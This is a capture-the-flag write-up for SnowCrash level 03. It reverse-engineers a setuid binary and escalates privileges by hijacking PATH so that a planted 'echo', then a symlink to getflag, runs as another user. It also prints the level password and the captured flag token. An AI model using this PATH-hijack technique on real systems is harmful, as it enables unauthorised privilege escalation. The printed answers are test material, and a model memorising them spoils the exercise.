# Level 03

## how to login

username: level03

password: kooda2puivaav1idi4f57q8iq

## Goal

run `getflag` as user `flag03`

## Actually doing something

As usual:

```bash
level03@SnowCrash:~$ ll
total 24
dr-x------ 1 level03 level03  120 Mar  5  2016 ./
d--x--x--x 1 root    users    340 Aug 30  2015 ../
-r-x------ 1 level03 level03  220 Apr  3  2012 .bash_logout*
-r-x------ 1 level03 level03 3518 Aug 30  2015 .bashrc*
-rwsr-sr-x 1 flag03  level03 8627 Mar  5  2016 level03*
-r-x------ 1 level03 level03  675 Apr  3  2012 .profile*
```

We have a funny binary !
having the `s` permission in the executable spot means it is setuid

what is setuid ? it means that when executed, it runs as the user that own the binary

What a coincidence ! The user that own the binary is `flag03`

lets look at what happens when we run the binary without anything special:

```bash
level03@SnowCrash:~$ ./level03 
Exploit me
```

Oh yes I will !

```bash
level03@SnowCrash:~$ file level03 
level03: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x3bee584f790153856e826e38544b9e80ac184b7b, not stripped
```

We already knew all the useful information here, but at least we have a proof that it is an "normal" executable (ELF is what linux uses for binaries), it is indeed setuid (and setgid). No stripped means that we have a minimum of debug info (like symbol names)

What to do ? Lets bring out the big gun and start fully RE the binary.
How ? Using Ghidra. Ghidra is an NSA program made to take a binary, and look at it very closely. It can try to produce C-looking code that matches the assembly, and allow you to rename variables, function and all

```c
int main(int argc,char **argv,char **envp)
{
  __gid_t __rgid;
  __uid_t __ruid;
  int iVar1;
  gid_t gid;
  uid_t uid;
  
  __rgid = getegid();
  __ruid = geteuid();
  setresgid(__rgid,__rgid,__rgid);
  setresuid(__ruid,__ruid,__ruid);
  iVar1 = system("/usr/bin/env echo Exploit me");
  return iVar1;
}
```

Ghidra dissembled the main function, and it looks like this.
Here it is valid C code, but sometimes ghidra can't produce valid C code because the assembly is missing data, so we were lucky !

Looking at this, it seems that the program does a little UID dance (and GID too), but we kinda don't care. 
It doesn't seems to be exploitable in itself (but we do have to note that this 
actually makes the binary a privilege escalation vector!)

What is important is the `system("/usr/bin/env echo Exploit me")` line. This launch a new process.
Looking at the `system` function, it behave likes an shell command (as in it calls a shell behind the scene), so we can have fun

the `/usr/bin/env` is very powerfull, but what we will use is the fact that it tries to find 
the command passed as an argument in the `PATH`

but WE own the PATH variable. Nothing prevents us from slipping a new directory in the `PATH`, and having an `echo` command in it

lets do that
```bash
level03@SnowCrash:~$ mkdir /tmp/path
level03@SnowCrash:~$ cat <<EOF >/tmp/path/echo
> #!/bin/sh
> echo  "I'm in !"
> EOF
level03@SnowCrash:~$ chmod +x /tmp/path/echo
level03@SnowCrash:~$ PATH=/tmp/path:$PATH ./level03 
I'm in !
```
We are indeed in

now we can do lots of stuff, and we can basically call getflag.

I want to be a bit sneaky, so lets make it call getflag directly

```bash
level03@SnowCrash:~$ mkdir /tmp/path
level03@SnowCrash:~$ ln -s $(which getflag) /tmp/path/echo
level03@SnowCrash:~$ PATH=/tmp/path:$PATH ./level03 
Check flag.Here is your token : qi0maab88jeaj46qoumi7maus
```
We just made a symlink in our naughty directory to the getflag binary, so when the "echo" got launched, it was actually `getflag` !